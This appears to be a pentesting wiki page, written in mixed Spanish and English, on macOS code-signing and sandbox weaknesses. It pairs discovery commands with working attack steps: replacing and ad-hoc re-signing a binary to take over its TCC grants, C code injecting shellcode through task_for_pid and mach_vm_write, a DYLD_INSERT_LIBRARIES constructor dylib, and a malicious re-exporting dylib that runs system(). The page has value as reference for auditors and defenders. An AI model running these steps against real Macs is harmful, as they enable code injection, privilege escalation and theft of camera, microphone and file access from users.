macOS Code Signing Weaknesses & Sandbox Escapes

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Ad-Hoc Signed Binaries

Información básica

Ad-hoc signing (CS_ADHOC) crea una firma de código con ninguna cadena de certificados — es un hash del código sin verificación de identidad del desarrollador. El origen del binario no puede rastrearse a ningún desarrollador u organización.

En Apple Silicon Macs, todos los ejecutables requieren como mínimo una firma ad-hoc. Esto significa que encontrarás firmas ad-hoc en muchas herramientas de desarrollo, paquetes de Homebrew y utilidades de terceros.

Por qué importa

• Sin identidad verificable — el binario puede ser reemplazado sin ser detectado por verificaciones basadas en identidad
• Los binarios ad-hoc de terceros en posiciones privilegiadas (FDA, daemon, helpers) son objetivos de alta prioridad
• En algunas configuraciones, las firmas ad-hoc pueden no verificarse tan estrictamente como el código firmado por desarrollador
• Los binarios firmados ad-hoc que tienen permisos de TCC son especialmente valiosos — los permisos persisten incluso si el contenido del binario cambia (depende de cómo TCC haya indexado ese permiso)

Descubrimiento

# Find ad-hoc signed binaries
find /usr/local /opt /Applications -type f -perm +111 -exec sh -c '
flags=$(codesign -dvv "{}" 2>&1 | grep "CodeDirectory flags")
echo "$flags" | grep -q "adhoc" && echo "AD-HOC: {}"
' \; 2>/dev/null

# Check a specific binary
codesign -dv --verbose=4 /path/to/binary 2>&1 | grep -E "Signature|flags|Authority"
# Ad-hoc shows: "Signature=adhoc" and no Authority lines

Ataque: Binary Replacement

# If an ad-hoc signed daemon binary is in a writable location:
# 1. Check the binary's current capabilities
codesign -d --entitlements - /path/to/target 2>&1

# 2. Note its TCC grants in the database
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db \
"SELECT service, auth_value FROM access WHERE client LIKE '%target%';"

# 3. Replace the binary (if location is writable)
cp /tmp/malicious-binary /path/to/target

# 4. Re-sign with ad-hoc signature (mimics the original)
codesign -s - /path/to/target

# 5. On next launch, the daemon runs your code with the original's TCC grants
# (This works when TCC keyed the grant by path rather than code signature)

Procesos depurables (get-task-allow)

Información básica

El com.apple.security.get-task-allow entitlement (o la flag CS_GET_TASK_ALLOW) permite que cualquier proceso se adjunte como debugger, leer la memoria, modificar registros, inyectar código y controlar la ejecución.

Esto está destinado solo para compilaciones de desarrollo. Sin embargo, algunos binarios de terceros se distribuyen con este entitlement en producción.

Caution

Un binario en producción con get-task-allow es una primitiva de explotación instantánea. Cualquier proceso local puede llamar a task_for_pid(), obtener el Mach task port del objetivo, e inyectar código arbitrario que se ejecute con los entitlements del objetivo, las concesiones TCC y el contexto de seguridad.

Descubrimiento

# Find debuggable binaries
find /Applications /usr/local -type f -perm +111 -exec sh -c '
codesign -d --entitlements - "{}" 2>&1 | grep -q "get-task-allow.*true" && echo "DEBUGGABLE: {}"
' \; 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path, privileged FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'get_task_allow_signature'
ORDER BY e.privileged DESC;"

Ataque: Task Port Injection

#include <mach/mach.h>
#include <mach/mach_vm.h>

// Get the target's task port (requires get-task-allow on target)
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);

if (kr == KERN_SUCCESS) {
// Allocate memory in target process
mach_vm_address_t addr = 0;
mach_vm_allocate(task, &addr, shellcode_size, VM_FLAGS_ANYWHERE);

// Write shellcode into target
mach_vm_write(task, addr, (vm_offset_t)shellcode, shellcode_size);

// Make it executable
mach_vm_protect(task, addr, shellcode_size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);

// Create a remote thread to execute the shellcode
// The shellcode runs with ALL of the target's entitlements and TCC grants
}

Sin validación de librerías + entorno DYLD

La combinación letal

Cuando un binario tiene ambos:

• com.apple.security.cs.disable-library-validation (carga cualquier dylib)
• com.apple.security.cs.allow-dyld-environment-variables (acepta DYLD env vars)

Esto es un primitivo de inyección de código garantizado — DYLD_INSERT_LIBRARIES funciona perfectamente.

Descubrimiento

# Find binaries with the deadly combo
find /Applications -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "disable-library-validation.*true" && \
echo "$ents" | grep -q "allow-dyld-environment.*true" && \
echo "INJECTABLE: {}"
' \; 2>/dev/null

# Using the scanner (both flags)
sqlite3 /tmp/executables.db "
SELECT path, privileged, tccPermsStr FROM executables
WHERE noLibVal = 1 AND allowDyldEnv = 1
ORDER BY privileged DESC;"

Ataque: DYLD_INSERT_LIBRARIES Injection

# 1. Create the injection dylib
cat > /tmp/inject.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void injected(void) {
// This runs BEFORE main() in the target's process
// We inherit ALL of the target's:
// - Entitlements
// - TCC grants (camera, mic, FDA, etc.)
// - Sandbox exceptions
// - Mach port rights

FILE *f = fopen("/tmp/injected_proof.txt", "w");
fprintf(f, "Running as PID %d with target's privileges\n", getpid());
fclose(f);

// Example: if target has camera TCC, we can now capture video
// Example: if target has FDA, we can read any file
}
EOF

# 2. Compile the dylib
cc -shared -o /tmp/inject.dylib /tmp/inject.c

# 3. Inject into the target
DYLD_INSERT_LIBRARIES=/tmp/inject.dylib /path/to/noLibVal-dyldEnv-binary

# 4. Verify injection
cat /tmp/injected_proof.txt

Sandbox Temporary Exceptions

How They Weaken the Sandbox

Sandbox temporary exceptions (com.apple.security.temporary-exception.*) punch holes in the App Sandbox:

Mach-Lookup Exceptions = Sandbox Escape Primitive

The most dangerous exception is mach-lookup — it allows a sandboxed app to talk to privileged daemons:

# Find apps with mach-lookup exceptions
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)"
[ -f "$binary" ] && {
ents=$(codesign -d --entitlements - "$binary" 2>&1)
echo "$ents" | grep -q "mach-lookup" && {
count=$(echo "$ents" | grep -c "mach-lookup")
echo "[$count exceptions] $(basename "$1")"
}
}
' _ {} \; 2>/dev/null | sort -rn

Ataque: Sandbox Escape mediante Mach-Lookup

1. Compromise sandboxed app (renderer exploit, malicious document, etc.)
2. Read entitlements to discover mach-lookup exceptions
3. For each reachable service:
a. Connect via NSXPCConnection
b. Discover the service's protocol (class-dump, strings)
c. Fuzz each exposed method
4. Find a vulnerability in a privileged daemon
5. Exploit → code execution in the daemon's context (outside sandbox)

Entitlements privados de Apple

Qué son

Los entitlements con prefijo com.apple.private.* proporcionan acceso a APIs internas de Apple que no están documentadas ni disponibles para desarrolladores de terceros. Los binarios de terceros con entitlements privados los obtuvieron mediante enterprise cert, MDM, o distribución fuera del App-Store.

Entitlements privados peligrosos

Descubrimiento

# Find third-party binaries with private entitlements
find /Applications /usr/local -type f -perm +111 -exec sh -c '
ents=$(codesign -d --entitlements - "{}" 2>&1)
echo "$ents" | grep -q "com.apple.private" && {
echo "=== {} ==="
echo "$ents" | grep "com.apple.private" | head -10
}
' \; 2>/dev/null

# Using the scanner
sqlite3 /tmp/executables.db "
SELECT path FROM executables
WHERE privateEnts = 1 AND isAppleBin = 0
ORDER BY privileged DESC;"

Perfiles de Sandbox Personalizados (SBPL)

Qué son

Los binarios pueden incluir perfiles de sandbox personalizados escritos en SBPL (Seatbelt Profile Language). Estos perfiles pueden ser más restrictivos O más permisivos que el App Sandbox predeterminado.

Auditoría de perfiles personalizados

# Find custom sandbox profiles
find /Applications /System -name "*.sb" -o -name "*.sbpl" 2>/dev/null

# Dangerous SBPL rules to flag during audit:
# (allow file-write*)         — Write to ANY file
# (allow process-exec*)       — Execute ANY process
# (allow mach-lookup*)        — Connect to ANY Mach service
# (allow network*)            — Full network access
# (allow iokit*)              — Full IOKit access
# (allow file-read*)          — Read ANY file

# Example: Audit a sandbox profile for overly permissive rules
cat /path/to/custom.sb | grep "(allow" | sort -u

Rutas de bibliotecas escribibles

Qué son

Cuando un binary carga una dynamic library desde una ruta que el usuario actual puede write to, la library puede ser reemplazada por código malicioso.

Descubrimiento

# Using the scanner — find privileged binaries loading from writable paths
sqlite3 /tmp/executables.db "
SELECT e.path, e.privileged
FROM executables e
JOIN executable_capabilities ec ON e.id = ec.executable_id
JOIN capabilities c ON ec.capability_id = c.id
WHERE c.name = 'execs_writable_path'
ORDER BY e.privileged DESC
LIMIT 30;"

# Manual check: list library dependencies and check writability
otool -L /path/to/binary | awk '{print $1}' | while read lib; do
[ -f "$lib" ] && [ -w "$lib" ] && echo "WRITABLE: $lib"
done

Ataque: Dylib Replacement

# 1. Find the writable library
otool -L /path/to/target-daemon | grep "/usr/local\|/opt\|Library"

# 2. Back up the original
cp /path/to/writable.dylib /tmp/original.dylib

# 3. Create a replacement that re-exports the original
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void evil(void) {
system("id > /tmp/escalated.txt");
}
EOF
cc -shared -o /tmp/evil.dylib /tmp/evil.c \
-Wl,-reexport_library,/tmp/original.dylib

# 4. Replace the library
cp /tmp/evil.dylib /path/to/writable.dylib

# 5. When the daemon restarts, it loads the evil dylib with daemon privileges

References

• Apple Developer — Code Signing Guide
• Apple Developer — App Sandbox
• Apple Developer — Entitlements
• The Evil Bit — clear-library-validation

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